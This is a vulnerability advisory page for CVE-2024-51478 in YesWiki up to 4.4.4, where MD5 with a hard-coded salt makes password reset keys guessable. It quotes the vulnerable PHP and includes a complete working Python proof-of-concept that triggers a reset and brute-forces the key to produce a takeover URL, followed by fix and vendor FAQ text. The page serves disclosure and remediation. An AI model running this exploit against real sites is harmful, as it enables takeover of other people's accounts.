CVE-2024-51478

The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.

Details

Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :

private const PW_SALT = 'FBcA';

Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :

protected function generateUserLink($user)
{
    // Generate the password recovery key
    $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);

The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt.
If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.

Proof of Concept (PoC)

To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Nishacid
# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto

from hashlib import md5
from requests import post, get
from base64 import b64encode
from sys import exit
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from argparse import ArgumentParser

# Known data
salt = 'FBcA' # Hardcoded salt 
random_range = 10000  # Range for random_int()
WORKERS = 20 # Number of workers

# Arguments
def parseArgs():
    parser = ArgumentParser()
    parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True)
    parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True)
    parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True)
    return parser.parse_args()

# Reset password request and get timestamp  
def reset_password(email: str, domain: str):
    response = post(
        f'{domain}?MotDePassePerdu',
        data={
            'email': email, 
            'subStep': '1'
        },
        headers={
            'Content-Type': 'application/x-www-form-urlencoded'
        }
    )
    if response.ok:
        timestamp = datetime.now() # obtain the timestamp
        timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')
        print(f"[*] Requesting link for {email} at {timestamp}")
        return timestamp
    else:
        print("[-] Error while resetting password.")
        exit()

# Generate and check keys
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
    user_base64 = b64encode(username.encode()).decode()
    data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}"
    hash_candidate = md5(data.encode()).hexdigest()
    url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}"
    # print(f"[*] Checking {url}")
    response = get(url)
    
    # Check if the link is valid, warning depending on the language
    if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
        return (True, random_int_val, hash_candidate, url)
    return (False, random_int_val, None, None)

def main(timestamp_req: str, domain: str, username: str, email: str):
    # Launch the brute-force
    print(f"[*] Starting brute-force, it can take few minutes...")
    with ThreadPoolExecutor(max_workers=WORKERS) as executor:
        futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
        
        for future in as_completed(futures):
            success, random_int_val, hash_candidate, url = future.result()
            if success:
                print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}")
                print(f"[+] URL: {url}")
                exit()
        else:
            print("[-] Key not found.")

if __name__ == "__main__":
    args = parseArgs()
    timestamp_req = reset_password(args.email, args.domain)
    main(timestamp_req, args.domain, args.username, args.email)

Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.

» python3 expoit.py --username 'admin' --email '[email protected]' --domain 'http://localhost/' 
[*] Requesting link for [email protected] at 2024-10-30 10:46:48
[*] Starting brute-force, it can take few minutes...
[+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9
[+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K

Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.

The application uses a cryptographic algorithm known to have weaknesses, such as MD5, SHA-1, or DES. Typical impact: compromised confidentiality or integrity of protected data.

CVE-2024-51478 has a CVSS score of 9.9 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.4.5); upgrading removes the vulnerable code path.

Kodem intelligence

The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one.
For example, you can use random bytes instead of a random integer.

1. What is CVE-2024-51478? CVE-2024-51478 is a high-severity use of a broken or risky cryptographic algorithm vulnerability in yeswiki/yeswiki (composer), affecting versions <= 4.4.4. It is fixed in 4.4.5. The application uses a cryptographic algorithm known to have weaknesses, such as MD5, SHA-1, or DES.
2. How severe is CVE-2024-51478? CVE-2024-51478 has a CVSS score of 9.9 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of yeswiki/yeswiki are affected by CVE-2024-51478? yeswiki/yeswiki (composer) versions <= 4.4.4 is affected.
4. Is there a fix for CVE-2024-51478? Yes. CVE-2024-51478 is fixed in 4.4.5. Upgrade to this version or later.
5. Is CVE-2024-51478 exploitable, and should I be worried? Whether CVE-2024-51478 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-51478 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-51478? Upgrade yeswiki/yeswiki to 4.4.5 or later.